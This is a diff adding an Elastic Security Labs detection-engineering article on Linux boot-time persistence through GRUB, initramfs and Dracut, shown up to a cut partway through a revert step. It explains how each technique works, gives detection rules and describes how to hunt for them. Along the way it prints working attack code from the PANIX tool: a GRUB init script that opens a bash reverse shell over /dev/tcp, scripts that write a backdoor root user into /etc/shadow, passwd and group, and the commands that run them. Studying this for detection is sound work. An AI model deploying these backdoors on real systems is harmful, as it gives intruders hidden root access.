62e9f64bcfb79fe2d36950e6cac0a5f3bd53c6c1066ddd6c41abbc32f6f6f8af089d0a331e95bc6d783e159a16bc6f0c7eb0880101ebe735b6488200460debeed515a01dd994f8c7b45d2300f7fd07b584d85eec5822bc1af531e33a941fb235417ffe298bf3b0b71bb77dfb24bda43e54007de733ca693a3562e2a14cf7d2f4ef7c9eafbcb2e14f890a2f81f4571b990eb9872acd52719d449ef3f49620a270c273915c371bdaf75917d00f5401b36ef3934593ac55d2cc9668b08e84b3bab2212004b1368d1d22c6fc41a58f0cac449d619b3afe3c605f951ff03de6d64687f3feceee0559ea9046ed4 \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/the_grand_finale_on_linux_persistence.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/the_grand_finale_on_linux_persistence.md new file mode 100644 index 0000000000000..e8d5dcb9bdf6c --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/the_grand_finale_on_linux_persistence.md @@ -0,0 +1,986 @@ +--- +title: "Linux Detection Engineering - The Grand Finale on Linux Persistence" +slug: "the-grand-finale-on-linux-persistence" +date: "2025-02-27" +subtitle: "Building on previous research, this article describes creative, complex, or rare persistence techniques." +description: "By the end of this series, you'll have a robust knowledge of both common and rare Linux persistence techniques; and you'll understand how to effectively engineer detections for common and advanced adversary capabilities." +author: + - slug: ruben-groenewoud +image: "Security Labs Images 5.jpg" +category: + - slug: security-research +--- + +# Introduction +Welcome to the grand finale of the “Linux Persistence Detection Engineering” series! In this fifth and final part, we continue to dig deep into the world of Linux persistence. Building on the foundational concepts and techniques explored in the previous publications, this post discusses some more obscure, creative and/or complex backdoors and persistence mechanisms. + + + +If you missed the earlier articles, they lay the groundwork by exploring key persistence concepts. You can catch up on them here: + +* [*Linux Detection Engineering - A Primer on Persistence Mechanisms*](https://www.elastic.co/security-labs/primer-on-persistence-mechanisms) +* [*Linux Detection Engineering - A Sequel on Persistence Mechanisms*](https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms) +* [*Linux Detection Engineering - A Continuation on Persistence Mechanisms*](https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms) +* [*Linux Detection Engineering - Approaching the Summit on Persistence Mechanisms*](https://www.elastic.co/security-labs/approaching-the-summit-on-persistence) + +In this publication, we’ll provide insights into these persistence mechanisms by showcasing: + +* How each works (theory) +* How to set each up (practice) +* How to detect them (SIEM and Endpoint rules) +* How to hunt for them (ES|QL and OSQuery reference hunts) + +To make the process even more engaging, we will be leveraging [PANIX](https://github.com/Aegrah/PANIX), a custom-built Linux persistence tool designed by Ruben Groenewoud of Elastic Security. PANIX allows you to streamline and experiment with Linux persistence setups, making it easy to identify and test detection opportunities. + +By the end of this series, you'll have a robust knowledge of both common and rare Linux persistence techniques; and you'll understand how to effectively engineer detections for common and advanced adversary capabilities. Are you ready to uncover the final pieces of the Linux persistence puzzle? Let’s dive in! + +# Setup note + +To ensure you are prepared to detect the persistence mechanisms discussed in this article, it is important to [enable and update our pre-built detection rules](https://www.elastic.co/guide/en/security/current/prebuilt-rules-management.html#update-prebuilt-rules). If you are working with a custom-built ruleset and do not use all of our pre-built rules, this is a great opportunity to test them and potentially fill any gaps. Now, we are ready to get started. + +# T1542 - Pre-OS Boot: GRUB Bootloader + +[GRUB (GRand Unified Bootloader)](https://www.gnu.org/software/grub/manual/grub/grub.html) is a widely used bootloader in Linux systems, responsible for loading the kernel and initializing the operating system. GRUB provides a flexible framework that supports various configurations, making it a powerful tool for managing the boot process. It acts as an intermediary between the system firmware ([BIOS](https://en.wikipedia.org/wiki/BIOS)/[UEFI](https://en.wikipedia.org/wiki/UEFI)) and the operating system. When a Linux system is powered on, the following sequence typically occurs: + +1. ### **System Firmware** + +* BIOS or UEFI initializes hardware components (e.g., CPU, RAM, storage devices) and performs a POST (Power-On Self-Test). +* It then locates the bootloader on the designated boot device (usually based on boot priority settings). + +2. ### **GRUB Bootloader** + +* GRUB is loaded into memory. +* It displays a menu (if enabled) that allows users to select an operating system, kernel version, or recovery mode. +* GRUB loads the kernel image (`vmlinuz`) into memory, as well as the initramfs/initrd image (`initrd.img`), which is a temporary root filesystem used for initial system setup (e.g., loading kernel modules for filesystems and hardware). +* GRUB passes kernel parameters (e.g., the location of the root filesystem, boot options) and hands over control to the kernel. + +3. ### **Kernel Execution** + +* The kernel is unpacked and initialized. It begins detecting and initializing system hardware. +* The kernel mounts the root filesystem specified in the kernel parameters. +* It starts the init system (traditionally `init`, now often `systemd`), which is the first process (`PID 1`) that initializes and manages the user space. +* The `init` system sets up services, mounts filesystems, and spawns user sessions. + +GRUB’s configuration system is flexible and modular, enabling administrators to define bootloader behavior, kernel parameters, and menu entries. All major distributions use `/etc/default/grub` as the primary configuration file for GRUB. This file contains high-level options, such as default kernel parameters, boot timeout, and graphical settings. For example: + +``` +GRUB_TIMEOUT=5 # Timeout in seconds for the GRUB menu +GRUB_DEFAULT=0 # Default menu entry to boot +GRUB_CMDLINE_LINUX_DEFAULT="quiet splash resume=/dev/sda2" # Common kernel parameters +GRUB_CMDLINE_LINUX="init=/bin/bash audit=1" # Additional kernel parameters +``` + +To enhance flexibility, GRUB supports a modular approach to configuration through script directories. These are typically located in `/etc/default/grub.d/` (Ubuntu/Debian) and `/etc/grub.d/` (Fedora/CentOS/RHEL). The scripts in these directories are combined into the final configuration during the update process. + +Prior to boot, the GRUB bootloader must be compiled. The compiled GRUB configuration file is the final output used by the bootloader at runtime. It is generated from the settings in `/etc/default/grub` and the modular scripts in `/etc/grub.d/` (or similar directories and files for other distributions). This configuration is then stored in `/boot/grub/grub.cfg` for BIOS systems, and `/boot/efi/EFI//grub.cfg` for UEFI systems. + +On Ubuntu and Debian-based systems, the `update-grub` command is used to generate the GRUB configuration. For Fedora, CentOS, and RHEL systems, the equivalent command is `grub2-mkconfig`. Upon generation of the configuration, the following events occur: + +1. **Scripts Execution**: +* All modular scripts in `/etc/default/grub.d/` or `/etc/grub.d/` are executed in numerical order. +2. **Settings Aggregation**: +* Parameters from `/etc/default/grub` and modular scripts are merged. +3. **Menu Entries Creation**: +* GRUB dynamically detects installed kernels and operating systems and creates corresponding menu entries. +4. **Final Compilation**: +* The combined configuration is written to `/boot/grub/grub.cfg` (or the UEFI equivalent path), ready to be used at the next boot. + +Attackers can exploit GRUB’s flexibility and early execution in the boot process to establish persistence. By modifying GRUB configuration files, they can inject malicious parameters or scripts that execute with root privileges before the operating system fully initializes. Attackers can: + +1. **Inject Malicious Kernel Parameters**: +* Adding parameters like `init=/payload.sh` in `/etc/default/grub` or directly in the GRUB menu at boot forces the kernel to execute a malicious script instead of the default `init` system. +2. **Modify Menu Entries**: +* Attackers can alter menu entries in `/etc/grub.d/` to include unauthorized commands or point to malicious kernels. +3. **Create Hidden Boot Entries**: +* Adding extra boot entries with malicious configurations that are not displayed in the GRUB menu. + +As GRUB operates before the system’s typical EDR and other solution mechanisms are active, this technique is especially hard to detect. Additionally, knowledge scarcity around these types of attacks makes detection difficult, as malicious parameters or entries can appear similar to legitimate configurations, making manual inspection prone to oversight. + +GRUB manipulation falls under [T1542: Pre-OS Boot](https://attack.mitre.org/techniques/T1542/) in the MITRE ATT&CK framework. This technique encompasses attacks targeting bootloaders to gain control before the operating system initializes. Despite its significance, there is currently no dedicated sub-technique for GRUB-specific attacks. + +In the next section, we’ll explore how attackers can establish persistence through GRUB by injecting malicious parameters and modifying bootloader configurations. + +# Persistence through T1542 - Pre-OS Boot: GRUB Bootloader + +In this section we will be looking at the technical details related to GRUB persistence. To accomplish this, we will be leveraging the [setup_grub.sh](https://github.com/Aegrah/PANIX/blob/7e27768807e12d11932e2fca5b6a4867308295dd/modules/setup_grub.sh) module from [PANIX](https://github.com/Aegrah/PANIX), a custom-built Linux persistence tool. By simulating this technique, we will be able to research potential detection opportunities. + +The GRUB module detects the Linux distribution it is running on, and determines the correct files to modify, and support tools necessary to establish persistence. There is no compatibility built into PANIX for Fedora-based operating systems within this module, due to the restricted environment available within the boot process. PANIX determines whether the payload is already injected, and if not, creates a custom configuration (`cfg`) file containing the `init=/grub-panix.sh` parameter. GRUB configuration files are loaded in ascending order, based on the modules’ numeric prefix. To ensure the injected module is loaded last, the priority is set to 99. + +``` +local grub_custom_dir="/etc/default/grub.d" +local grub_custom_file="${grub_custom_dir}/99-panix.cfg" + +echo "[*] Creating custom GRUB configuration file: $grub_custom_file" +cat < "$grub_custom_file" +# Panix GRUB persistence configuration +GRUB_CMDLINE_LINUX_DEFAULT="$GRUB_CMDLINE_LINUX_DEFAULT init=/grub-panix.sh" +EOF +``` + +After this configuration file is in place, the `/grub-panix.sh` script is created, containing a payload that sleeps for a certain amount of time (to ensure networking is available), after which it executes a reverse shell payload, detaching itself from its main process to ensure no hang ups. + +``` +payload="( sleep 10; nohup setsid bash -c 'bash -i >& /dev/tcp/${ip}/${port} 0>&1' & disown ) &" + +local init_script="/grub-panix.sh" +echo "[*] Creating backdoor init script at: $init_script" +cat < "$init_script" +#!/bin/bash +# Panix GRUB Persistence Backdoor (Ubuntu/Debian) +( + echo "[*] Panix backdoor payload will execute after 10 seconds delay." + ${payload} + echo "[+] Panix payload executed." +) & +exec /sbin/init +EOF +``` + +After these files are in place, all that is left is to update GRUB to contain the embedded backdoor module by running `update-grub`. + +Let’s take a look at what this process looks like from a detection engineering perspective. Run the PANIX module through the following command: + +``` +> sudo ./panix.sh --grub --default --ip 192.168.1.100 --port 2014 +[*] Creating backdoor init script at: /grub-panix.sh +[+] Backdoor init script created and made executable. +[*] Creating custom GRUB configuration file: /etc/default/grub.d/99-panix.cfg +[+] Custom GRUB configuration file created. +[*] Backing up /etc/default/grub to /etc/default/grub.bak... +[+] Backup created at /etc/default/grub.bak +[*] Running 'update-grub' to apply changes... +Sourcing file `/etc/default/grub' +Sourcing file `/etc/default/grub.d/99-panix.cfg' +Sourcing file `/etc/default/grub.d/init-select.cfg' +Generating grub configuration file ... +[+] GRUB configuration updated. Reboot to activate the payload. +``` + +Upon execution of the module, and rebooting the machine, the following documents can be observed in Kibana: + +![PANIX GRUB module execution visualized in Kibana](/assets/images/the-grand-finale-on-linux-persistence/image3.png) + +Upon execution of PANIX, we can see a backup of `/etc/default/grub`, a new modular grub configuration, `/etc/default/grub.d/99-panix.cfg`, and the backdoor payload (`/grub-panix.sh`) being created. After granting the backdoor the necessary execution permissions, GRUB is updated through the `update-grub` executable, and the backdoor is now ready. Upon reboot, `/grub-panix.sh` is executed by `init`, which is `systemd` for most modern operating systems, successfully executing the reverse shell chain of `/grub-panix.sh` → `nohup` → `setsid` → `bash`. The reason its `event.action` value is `already-running`, is due to the payload being executed during the boot process, prior to the initialization of Elastic Defend. Depending on the boot stage of execution, Elastic Defend will be able to capture missed events with this `event.action`, allowing us to still detect the activity. + +Let’s take a look at the coverage: + +*Detection and endpoint rules that cover GRUB bootloader persistence* + +| Category | Coverage | +| :---- | :---- | +| File | [GRUB Configuration File Creation](https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/linux/persistence_grub_configuration_creation.toml) | +| | [GRUB Configuration Generation through Built-in Utilities](https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/linux/persistence_grub_makeconfig.toml) | +| | [Potential Persistence via File Modification](https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/integrations/fim/persistence_suspicious_file_modifications.toml) | +| Process | [Boot File Copy](https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/linux/persistence_boot_file_copy.toml) | +| | [Systemd Shell Execution During Boot](https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/linux/persistence_systemd_shell_execution.toml) | + +You can revert the changes made by PANIX by running the following revert command: + +``` +> ./panix.sh --revert grub + +[*] Reverting GRUB persistence modifications... +[*] Restoring backup of /etc/default/grub from /etc/default/grub.bak... +[+] /etc/default/grub restored. +[*] Removing /etc/default/grub.d/99-panix.cfg... +[+] /etc/default/grub.d/99-panix.cfg removed. +[*] /grub-panix.sh not found; nothing to remove. +[*] Updating GRUB configuration... +[...] +[+] GRUB configuration updated. +[+] GRUB persistence reverted successfully. +``` + +# Hunting for T1542 - Pre-OS Boot: GRUB Bootloader + +Other than relying on detections, it is important to incorporate threat hunting into your workflow, especially for persistence mechanisms like these, where events can potentially be missed due to timing or environmental constraints. This publication lists the available hunts for GRUB bootloader persistence; however, more details regarding the basics of threat hunting are outlined in the “*Hunting for T1053 - scheduled task/job*” section of “[*Linux Detection Engineering - A primer on persistence mechanisms*](https://www.elastic.co/security-labs/primer-on-persistence-mechanisms)”. Additionally, descriptions and references can be found in our [Detection Rules repository](https://github.com/elastic/detection-rules), specifically in the [Linux hunting subdirectory](https://github.com/elastic/detection-rules/tree/main/hunting). + +We can hunt for GRUB bootloader persistence through [ES|QL](https://www.elastic.co/guide/en/elasticsearch/reference/current/esql.html) and [OSQuery](https://www.elastic.co/guide/en/kibana/current/osquery.html), focusing on file creations, modifications, and executions related to GRUB configurations. The approach includes monitoring for the following: + +1. **Creations and/or modifications to GRUB configuration files**: Tracks changes to critical files such as the GRUB configuration file and modules, and the compiled GRUB binary. These files are essential for bootloader configurations and are commonly targeted for GRUB-based persistence. +2. **Execution of GRUB-related commands**: Monitors for commands like `grub-mkconfig`, `grub2-mkconfig`, and `update-grub`, which may indicate attempts to modify GRUB settings or regenerate boot configurations. +3. **Metadata analysis of GRUB files**: Identifies ownership, access times, and recent changes to GRUB configuration files to detect unauthorized modifications. +4. **Kernel and Boot Integrity Monitoring**: Tracks critical kernel and boot-related data using ES|QL and OSQuery tables such as `secureboot`, `platform_info`, `kernel_info`, and `kernel_keys`, providing insights into the system’s boot integrity and kernel configurations. + +By combining the [Persistence via GRUB Bootloader](https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_via_grub_bootloader.toml) and [General Kernel Manipulation](https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_general_kernel_manipulation.toml) hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to [T1542](https://attack.mitre.org/techniques/T1542/). + +# T1542- Pre-OS Boot: Initramfs + +[Initramfs (Initial RAM Filesystem)](https://wiki.debian.org/initramfs) is a vital part of the Linux boot process, acting as a temporary root filesystem loaded into memory by the bootloader. It enables the kernel to initialize hardware, load necessary modules, and prepare the system to mount the real root filesystem. + +As we learnt in the previous section, the bootloader (e.g., GRUB) loads two key components: the kernel (`vmlinuz`) and the initramfs image (`initrd.img`). The `initrd.img` is a compressed filesystem, typically stored in `/boot/`, containing essential drivers, binaries (e.g. `busybox`), libraries, and scripts for early system initialization. Packed in formats like gzip, LZ4, or xz, it extracts into a minimal Linux filesystem with directories like `/bin`, `/lib`, and `/etc`. Once the real root filesystem is mounted, control passes to the primary `init` system (e.g., `systemd`), and the initramfs is discarded. + +Initramfs plays a central role in the Linux boot process, but it doesn't work in isolation. The `/boot/` directory houses essential files that enable the bootloader and kernel to function seamlessly. These files include the kernel binary, the initramfs image, and configuration data necessary for system initialization. Here's a breakdown of these critical components: + +* **vmlinuz-\**: A compressed Linux kernel binary. +* **vmlinuz**: A symbolic link to the compressed Linux kernel binary. +* **initrd.img-\** or **initramfs.img-\**: The initramfs image containing the temporary filesystem. +* **initrd.img** or **initramfs.img**: A symbolic link to the initramfs image. +* **config-\**: Configuration options for the specific kernel version. +* **System.map-\**: Kernel symbol map used for debugging. +* **grub/**: Bootloader configuration files. + +Similar to GRUB, initramfs is executed early in the boot process and therefore an interesting target for attackers seeking stealthy persistence. Modifying its contents—such as adding malicious scripts or altering initialization logic—enables execution of malicious code before the system fully initializes. + +While there is currently no specific subsection for initramfs, modification of the boot process falls under [T1542](https://attack.mitre.org/techniques/T1542/), *Pre-OS Boot* in the MITRE ATT&CK framework. + +The next section will explore how attackers might manipulate initramfs, the methods they could use to embed persistence mechanisms, and how to detect and mitigate these threats effectively. + +# T1542 - Initramfs: Manual Modifications + +Modifying initramfs to establish persistence is a technique discussed in the “[*Initramfs Persistence Technique*](https://breachlabs.io/initramfs-persistence-technique)” blog published on [Breachlabs.io](https://breachlabs.io/). At its core, modifying initramfs involves unpacking its compressed filesystem, making changes, and repacking the image to maintain functionality while embedding persistence mechanisms. This process is not inherently malicious; administrators might modify initramfs to add custom drivers or configurations. However, attackers can exploit this flexibility to execute malicious actions before the primary operating system is fully loaded. + +An example technique involves adding code to the `init` script to manipulate the host filesystem—such as creating a backdoor user, altering system files/services, or injecting scripts that persist across reboots. + +While there are helper tools for working with initramfs, manual modifications are possible through low-level utilities such as [binwalk](https://github.com/ReFirmLabs/binwalk). `Binwalk` is particularly useful for analyzing and extracting compressed archives, making it a good choice for inspecting and deconstructing the initramfs image. + +In the following section, we’ll provide a detailed explanation of the manual initramfs modification process. + +# Persistence through T1542 - Initramfs: Manual Modifications + +In this section we will be “manually” manipulating initramfs to add a backdoor onto the system during the boot process. To do so, we will use the [setup_initramfs.sh](https://github.com/Aegrah/PANIX/blob/7e27768807e12d11932e2fca5b6a4867308295dd/modules/setup_initramfs.sh) module from PANIX. Let’s analyze the most important aspects of the module to ensure we understand what is going on. + +Upon execution of the module, the `initrd.img` file is backed up, as implementing a technique like this may disrupt the boot process, and having a back up available is always recommended. Next, a temporary directory is created, and the initramfs image is copied there. Through `binwalk`, we can identify and map out the different embedded archives within the `initrd.img` (such as the CPU microcode `cpio` archive and the gzipped `cpio` archive containing the mini Linux filesystem). The string `TRAILER!!!` marks the end of a `cpio` archive, letting us know exactly where one archive finishes so we can separate it from the next. In other words, `binwalk` shows us where to split the file, and the `TRAILER!!!` marker confirms the boundary of the microcode `cpio` before we extract and rebuild the rest of the initramfs. For more detailed information, take a look at the original author’s “[*Initramfs Persistence Technique*](https://breachlabs.io/initramfs-persistence-technique)” blog. + +``` +# Use binwalk to determine the trailer address. +ADDRESS=$(binwalk initrd.img | grep TRAILER | tail -1 | awk '{print $1}') +if [[ -z "$ADDRESS" ]]; then + echo "Error: Could not determine trailer address using binwalk." + exit 1 +fi +echo "[*] Trailer address: $ADDRESS" +``` + +This section extracts and unpacks parts of the `initrd.img` file for modification. The `dd` command extracts the first `cpio` archive (microcode) up to the byte offset marked by `TRAILER!!!`, saving it as `initrd.img-begin` for later reassembly. Next, `unmkinitramfs` unpacks the remaining filesystem from `initrd.img` into a directory (`initrd_extracted`), enabling modifications. + +``` +dd if=initrd.img of=initrd.img-begin count=$ADDRESS bs=1 2>/dev/null || { echo "Error: dd failed (begin)"; exit 1; } + +unmkinitramfs initrd.img initrd_extracted || { echo "Error: unmkinitramfs failed"; exit 1; } +``` + +Once the filesystem is extracted, it can be modified to achieve persistence. This process focuses on manipulating the `init` file, which is responsible for initializing the Linux system during boot. The code performs the following: + +1. Mount the root filesystem as writable. +2. Attempt to create a new user with sudo privileges in two steps: + 1. Check whether the supplied user exists already, if yes, abort. + 2. If the user does not exist, add the user to `/etc/shadow`, `/etc/passwd` and `/etc/group` manually. + +This payload can be altered to whatever payload is desired. As the environment in which we are working is very limited, we need to make sure to only use tools that are available. + +After adding the correct payload, initramfs can be repacked. The script uses: + +`find . | sort | cpio -R 0:0 -o -H newc | gzip > ../../initrd.img-end` + +To repack the filesystem into `initrd.img-end`. It ensures all files are owned by `root:root` (`-R 0:0`) and uses the `newc` format compatible with initramfs. + +The previously extracted microcode archive (`initrd.img-begin`) is concatenated with the newly created archive (`initrd.img-end`) using `cat` to produce a final `initrd.img-new`: + +`cat initrd.img-begin initrd.img-end > initrd.img-new` + +The new `initrd.img-new` replaces the original initramfs file, ensuring the system uses the modified version on the next boot. + +Now that we understand the process, we can run the module and let the events unfold. Note: not all Linux distributions specify the end of a `cpio` archive with the `TRAILER!!!` string, and therefore this automated technique will not work for all systems. Let’s continue! + +``` +> sudo ./panix.sh --initramfs --binwalk --username panix --password panix --snapshot yes +[*] Will inject user 'panix' with hashed password '' into the initramfs. +[*] Preparing Binwalk-based initramfs persistence... +[*] Temporary directory: /tmp/initramfs.neg1v5 +[+] Backup created: /boot/initrd.img-5.15.0-130-generic.bak +[*] Trailer address: 8057008 +[+] Binwalk-based initramfs persistence applied. New initramfs installed. +[+] setup_initramfs module completed successfully. +[!] Ensure you have a recent snapshot of your system before proceeding. +``` + +Let’s take a look at the events that are generated in Kibana: + +![PANIX Initramfs module execution visualized in Kibana - Binwalk method](/assets/images/the-grand-finale-on-linux-persistence/image6.png) + +Looking at the execution logs, we can see that `openssl` is used to generate a `passwd` hash. Afterwards, the initramfs image is copied to a temporary directory, and `binwalk` is leveraged to find the address of the filesystem. Once the correct section is found, `unmkinitramfs` is called to extract the filesystem, after which the payload is added to the `init` file. Next, the filesystem is repacked through `gzip` and `cpio`, and combined into a fully working initramfs image with the microcode, filesystem and other sections. This image is then copied to the `/boot/` directory, overwriting the currently active `initramfs` image. Upon reboot, the new `panix` user with root permissions is available. + +Let’s take a look at the coverage: + +*Detection and endpoint rules that cover manual initramfs persistence* + +| Category | Coverage | +| :---- | :---- | +| File | [Potential Persistence via File Modification](https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/integrations/fim/persistence_suspicious_file_modifications.toml) | +| Process | [Potential Memory Seeking Activity](https://github.com/elastic/detection-rules/blob/3e655abfef5e6b9c759cc82fa225be48a90bbc24/rules_building_block/discovery_potential_memory_seeking_activity.toml) | +| | [Initramfs Unpacking via unmkinitramfs](https://github.com/elastic/detection-rules/blob/3e655abfef5e6b9c759cc82fa225be48a90bbc24/rules/linux/persistence_unpack_initramfs_via_unmkinitramfs.toml) | +| | [Initramfs Extraction via CPIO](https://github.com/elastic/detection-rules/blob/3e655abfef5e6b9c759cc82fa225be48a90bbc24/rules/linux/persistence_extract_initramfs_via_cpio.toml) | +| | [Boot File Copy](https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/linux/persistence_boot_file_copy.toml) | +| | [OpenSSL Password Hash Generation](https://github.com/elastic/detection-rules/blob/3e655abfef5e6b9c759cc82fa225be48a90bbc24/rules/linux/persistence_openssl_passwd_hash_generation.toml) | + +You can revert the changes made by PANIX by running the following revert command: + +``` +> ./panix.sh --revert initramfs + +[!] Restoring initramfs from backup: $initrd_backup... +[+] Initramfs restored successfully. +[!] Rebuilding initramfs to remove modifications... +[+] Initramfs rebuilt successfully. +[!] Cleaning up temporary files... +[+] Temporary files cleaned up. +[+] Initramfs persistence reverted successfully. +``` + +# Hunting for T1542 - Initramfs: Manual Modifications + +We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the use of tools like `binwalk`. This technique typically involves extracting, analyzing, and modifying initramfs files to inject malicious components or scripts into the boot process. The approach includes monitoring for the following: + +1. **Execution of Binwalk with Suspicious Arguments**: Tracks processes where `binwalk` is executed to extract or analyze files. This can reveal attempts to inspect or tamper with initramfs contents. +2. **Creations and/or Modifications to Initramfs Files**: Tracks changes to the initramfs file (`/boot/initrd.img`). +3. **General Kernel Manipulation Indicators**: Leverages queries such as monitoring `secureboot`, `kernel_info`, and file changes within `/boot/` to detect broader signs of kernel and bootloader manipulation, which may overlap with initramfs abuse. + +By combining the [Persistence via Initramfs](https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_via_initramfs.toml) and [General Kernel Manipulation](https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_general_kernel_manipulation.toml) hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to [T1542](https://attack.mitre.org/techniques/T1542/). + +# T1542 - Initramfs: Modifying with Dracut + +[Dracut](https://wiki.archlinux.org/title/Dracut) is a versatile tool for managing initramfs in most Linux systems. Unlike manual methods that require deconstructing and reconstructing initramfs, Dracut provides a structured, modular approach. It simplifies creating, modifying, and regenerating initramfs images while offering a robust framework to add custom functionality. It generates initramfs images by assembling a minimal Linux environment tailored to the system's needs. Its modular design ensures that only the necessary drivers, libraries, and scripts are included. + +Dracut operates through modules, which are self-contained directories containing scripts, configuration files, and dependencies. These modules define the behavior and content of the initramfs. For example, they might include drivers for specific hardware, tools for handling encrypted filesystems, or custom logic for pre-boot operations. + +Dracut modules are typically stored in: + +* `/usr/lib/dracut/modules.d/` +* `/lib/dracut/modules.d/` + +Each module resides in a directory named in the format `XXname`, where `XX` is a two-digit number defining the load order, and `name` is the module name (e.g., `01base`, `95udev`). + +The primary script that defines how the module integrates into the initramfs is called `module-setup.sh`. It specifies which files to include and what dependencies are required. Here is a basic example of a `module-setups.sh` script: + +``` +#!/bin/bash + +check() { + return 0 +} + +depends() { + echo "base" +} + +install() { + inst_hook cmdline 30 "$moddir/my_custom_script.sh" + inst_simple /path/to/needed/binary +} +``` + +* `check()`: Determines whether the module should be included. Returning 0 ensures the module is always included. +* `depends()`: Specifies other modules this one depends on (e.g., `base`, `udev`). +* `install()`: Defines what files or scripts to include. Functions like `inst_hook` and `inst_simple` simplify the process. + +Using Dracut, attackers or administrators can easily modify initramfs to include custom scripts or functionality. For example, a malicious actor might: + +* Add a script that executes commands on boot. +* Alter existing modules to modify system behavior before the root filesystem is mounted. + +In the next section, we’ll walk through creating a custom Dracut module to modify initramfs. + +# Persistence through T1542 - Initramfs: Modifying with Dracut + +It is always a great idea to walk before we run. In the previous section we learnt how to manipulate initramfs manually, which can be difficult to set up. Now that we understand the basics, we can persist much easier by using a helper tool called Dracut, which is available by default on many Linux systems. Let’s take a look at the [setup_initramfs.sh](https://github.com/Aegrah/PANIX/blob/7e27768807e12d11932e2fca5b6a4867308295dd/modules/setup_initramfs.sh) module again, but this time with a focus on the Dracut section. + +This PANIX module creates a new Dracut module directory at `/usr/lib/dracut/modules.d/99panix`, and creates a `module-setup.sh` file with the following contents: + +``` +#!/bin/bash +check() { return 0; } +depends() { return 0; } +install() { + inst_hook pre-pivot 99 "$moddir/backdoor-user.sh" +} +``` + +This script ensures that when the initramfs is built using Dracut, the custom script (`backdoor-user.sh`) is embedded and configured to execute at the pre-pivot stage during boot. By running at the pre-pivot stage, the script executes before control is handed over to the main OS, ensuring it can make modifications to the real root filesystem. + +After granting `module-setup.sh` execution permissions, the module continues to create the `backdoor-user.sh` file. To view the full content, inspect the module source code. The important parts are: + +``` +#!/bin/sh + +# Remount the real root if it's read-only +mount -o remount,rw /sysroot 2>/dev/null || { + echo "[dracut] Could not remount /sysroot as RW. Exiting." + exit 1 +} +[...] + +if check_user_exists "${username}" /sysroot/etc/shadow; then + echo "[dracut] User '${username}' already exists in /etc/shadow." +else + echo "${username}:${escaped_hash}:19000:0:99999:7:::" >> /sysroot/etc/shadow + echo "[dracut] Added '${username}' to /etc/shadow." +fi + +[...] +``` + +First, the script ensures that the root filesystem (`/sysroot`) is writable. If this check completes, the script continues to add a new user by manually modifying the `/etc/shadow`, `/etc/passwd` and `/etc/group` files. The most important thing to notice is that these scripts rely on built-in shell utilities, as utilities such as `grep` or `sed` are not available in this environment. After writing the script, it is granted execution permissions and is good to go. + +Finally, Dracut is called to rebuild initramfs for the kernel version that is currently active: + +`dracut --force /boot/initrd.img-$(uname -r) $(uname -r)` + +Once this step completes, the modified initramfs is active, and rebooting the machine will result in the `backdoor-user.sh` script being executed. + +As always, first we take a snapshot, then we run the module: + +``` +> sudo ./panix.sh --initramfs --dracut --username panix --password secret --snapshot yes +[!] Will inject user 'panix' with hashed password into the initramfs. +[!] Preparing Dracut-based initramfs persistence... +[+] Created dracut module setup script at /usr/lib/dracut/modules.d/99panix/module-setup.sh +[+] Created dracut helper script at /usr/lib/dracut/modules.d/99panix/backdoor-user.sh +[*] Rebuilding initramfs with dracut... +[...] +dracut: *** Including module: panix *** +[...] +[+] Dracut rebuild complete. +[+] setup_initramfs module completed successfully. +[!] Ensure you have a recent snapshot/backup of your system before proceeding. +``` + +And take a look at the documents available in Discover: + +![PANIX Initramfs module execution visualized in Kibana - Dracut method](/assets/images/the-grand-finale-on-linux-persistence/image5.png) + +Upon execution, `openssl` is used to create a password hash for the `secret` password. Afterwards, the directory structure `/usr/lib/dracut/modules.d/99panix` is created, and the `module-setup.sh` and `backdoor-user.sh` scripts are created and granted execution permissions. After regeneration of the initramfs completes, the backdoor has been planted, and will be active upon reboot. + +Let’s take a look at the coverage: + +*Detection and endpoint rules that cover dracut initramfs persistence* + +| Category | Coverage | +| :---- | :---- | +| File | [Dracut Module Creation](https://github.com/elastic/detection-rules/blob/cf183579b46dae3ebd294098b330341a98691fd0/rules/linux/persistence_dracut_module_creation.toml) | +| | [Potential Persistence via File Modification](https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/integrations/fim/persistence_suspicious_file_modifications.toml) | +| Process | [Manual Dracut Execution](https://github.com/elastic/detection-rules/blob/cf183579b46dae3ebd294098b330341a98691fd0/rules/linux/persistence_manual_dracut_execution.toml) | +| | [OpenSSL Password Hash Generation](https://github.com/elastic/detection-rules/blob/3e655abfef5e6b9c759cc82fa225be48a90bbc24/rules/linux/persistence_openssl_passwd_hash_generation.toml) | +| | [Executable Bit Set for Potential Persistence Script](https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/linux/persistence_potential_persistence_script_executable_bit_set.toml) | + +You can revert the changes made by PANIX by running the following revert command: + +``` +> ./panix.sh --revert initramfs + +[-] No backup initramfs found at /boot/initrd.img-5.15.0-130-generic.bak. Skipping restore. +[!] Removing custom dracut module directory: /usr/lib/dracut/modules.d/99panix... 